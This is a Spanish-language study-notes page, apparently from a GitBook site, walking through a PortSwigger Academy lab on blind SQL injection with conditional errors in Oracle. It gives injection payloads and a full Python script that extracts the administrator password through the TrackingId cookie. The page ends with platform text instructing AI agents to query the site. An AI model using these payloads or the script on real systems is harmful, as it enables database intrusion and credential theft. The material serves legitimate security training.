> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/sql-injection/blind-sql-injection-with-conditional-errors.md).

# Inyección SQL ciega con errores condicionales

Notas de Inyección SQL ciega con errores condicionales para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Inyección SQL ciega con errores condicionales

**Contexto:** el valor de la `TrackingId` cookie se inyecta en una consulta SQL. La aplicación no devuelve el resultado directamente, sino que provoca un \*\*error HTTP 500\*\* cuando la expresión SQL causa una excepción (aquí `TO_CHAR(1/0)` en Oracle). Usamos esta cadena: si la condición es verdadera → error 500, de lo contrario responde 200. La base contiene una `users(username, password)` tabla. Objetivo: extraer la contraseña de `administrador` y conectarse.

#### Principio técnico (rápido)

* La cookie contiene una expresión que fuerza un error si la condición es verdadera, por ejemplo (Oracle):

{% code overflow="wrap" %}

```sql
' || (SELECT CASE WHEN <condition> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
```

{% endcode %}

* Si `<condition>` es verdadera → la solicitud provoca división por cero → la aplicación devuelve `500` → bit = 1. De lo contrario `200` → bit = 0.
* Use `SUBSTR`/`LENGTH` para extraer carácter por carácter.

#### Ejemplos de payloads (Oracle)

* Verifica la existencia del usuario:

  ```sql
  ' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator') = 'a' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* Prueba de longitud = 20:

  ```sql
  ' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* Prueba un carácter en la posición i:

  ```sql
  ' || (SELECT CASE WHEN (SELECT SUBSTR(password, i, 1) FROM users WHERE username='administrator') = 'X' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```

(`FROM dual` / la estructura puede adaptarse según la solicitud inyectada en la aplicación.)

### Script automatizado

```python
#!/usr/bin/env python3

import requests
import signal
import sys
import time
from string import ascii_letters, digits

# Manejo limpio de Ctrl+C
def def_handler(sig, frame):
    print("/nInterrumpido. Saliendo./n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)

# --- Configuración ---
MAIN_URL = "https://0a8a00f80354f1b1803108ce00e700b6.web-security-academy.net/"
TRACKING_BASE = "HNDtc0c9ybTvqk9m"   # parte legítima del TrackingId
SESSION_VALUE = "ZXuQT8xMsrBLG8KFDqvrccJDGFe8Z6Ra"
TIMEOUT = 6
SLEEP_BETWEEN = 0.15
MAX_PW_LEN = 50           # longitud máxima a probar
ALPHABET = ascii_letters + digits + "!@#$%_-{}[]()"  # ajusta si conoces el alfabeto

HEADERS = {"User-Agent": "Mozilla/5.0"}

# --- Funciones auxiliares ---
def send_payload(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    try:
        r = requests.get(MAIN_URL, cookies=cookies, headers=HEADERS,
                         timeout=TIMEOUT, allow_redirects=False, verify=True)
        return r.status_code
    except requests.exceptions.RequestException as e:
        print(f"[!] la solicitud falló: {e}")
        return None

def make_error_payload(condition_sql):
    """
    Construye el TrackingId completo para Oracle:
    ej.: TRACKING_BASE' || (SELECT CASE WHEN <cond> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
    """
    # Envuelve la condición en la subconsulta que devuelve una fila para admin.
    payload = (f"{TRACKING_BASE}'|| (SELECT CASE WHEN ({condition_sql}) "
               f"THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') ||'")
    return payload

# --- Paso 1: detectar la longitud de la contraseña (opcional pero útil) ---
def detect_length(max_len=MAX_PW_LEN):
    print("[*] Detectando la longitud de la contraseña...")
    for n in range(1, max_len + 1):
        cond = f"(SELECT LENGTH(password) FROM users WHERE username='administrator') = {n}"
        payload = make_error_payload(cond)
        code = send_payload(payload)
        if code == 500:
            print(f"[+] Longitud detectada: {n}")
            return n
        time.sleep(SLEEP_BETWEEN)
    print("[!] No se detectó una longitud <= max_len; considera aumentar max_len")
    return None

# --- Paso 2: extracción carácter por carácter ---
def extract_password(length=None):
    if length is None:
        length = detect_length()
        if length is None:
            # alternativa: probar posiciones hasta fallar
            length = MAX_PW_LEN

    password = ""
    print(f"[*] Extracción (longitud asumida = {length})")
    for pos in range(1, length + 1):
        found = False
        for ch in ALPHABET:
            # SUBSTR(password, pos, 1) = 'ch'
            cond = f"(SELECT SUBSTR(password, {pos}, 1) FROM users WHERE username='administrator') = '{ch}'"
            payload = make_error_payload(cond)
            code = send_payload(payload)
            if code == 500:
                password += ch
                print(f"[+] pos={pos} -> '{ch}' (contraseña hasta ahora: {password})")
                found = True
                time.sleep(SLEEP_BETWEEN)
                break
            # pausa breve entre intentos
            time.sleep(0.01)
        if not found:
            print(f"[-] No se encontró ningún carácter en la posición {pos} -> posible final. Contraseña: {password}")
            break
    return password

if __name__ == "__main__":
    # detectar longitud y luego extraer
    detected_len = detect_length(max_len=30)   # ajusta max_len según el entorno
    recovered = extract_password(length=detected_len)
    print(f"/n[=] Contraseña recuperada (parcial/estimada): {recovered}/n")
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-585f1015331c57ed2e5f870e7880d9048234958c%2F%7B3C0B8C0B-3EB1-47F4-BD9A-BB49DE8B3E9B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/sql-injection/blind-sql-injection-with-conditional-errors.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
